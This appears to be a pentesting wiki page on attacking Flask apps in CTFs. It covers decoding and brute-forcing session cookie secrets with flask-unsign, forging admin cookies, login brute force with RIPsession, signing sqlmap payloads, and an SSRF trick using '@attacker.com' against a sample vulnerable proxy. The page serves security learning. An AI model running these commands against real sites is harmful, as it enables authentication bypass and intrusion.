# Flask

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**Probably if you are playing a CTF a Flask application will be related to** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)**.**

## Cookies

Default cookie session name is **`session`**.

### Decoder

Online Flask coockies decoder: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)

#### Manual

Get the first part of the cookie until the first point and Base64 decode it>

```bash
echo "ImhlbGxvIg" | base64 -d
```

The cookie is also signed using a password

### **Flask-Unsign**

Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.


{{#ref}}
https://pypi.org/project/flask-unsign/
{{#endref}}

```bash
pip3 install flask-unsign
```

#### **Decode Cookie**

```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```

#### **Brute Force**

```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```

#### **Signing**

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```

#### Signing using legacy (old versions)

```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```

### **RIPsession**

Command line tool to brute-force websites using cookies crafted with flask-unsign.


{{#ref}}
https://github.com/Tagvi/ripsession
{{#endref}}

```bash
  ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```

### SQLi in Flask session cookie with SQLmap

[**This example**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.

## Flask Proxy to SSRF

[**In this writeup**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) it's explained how Flask allows a request starting with the charcter "@":

```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```

Which in the following scenario:

```python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
  return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)
```

Could allow to introduce something like "@attacker.com" in order to cause a **SSRF**.

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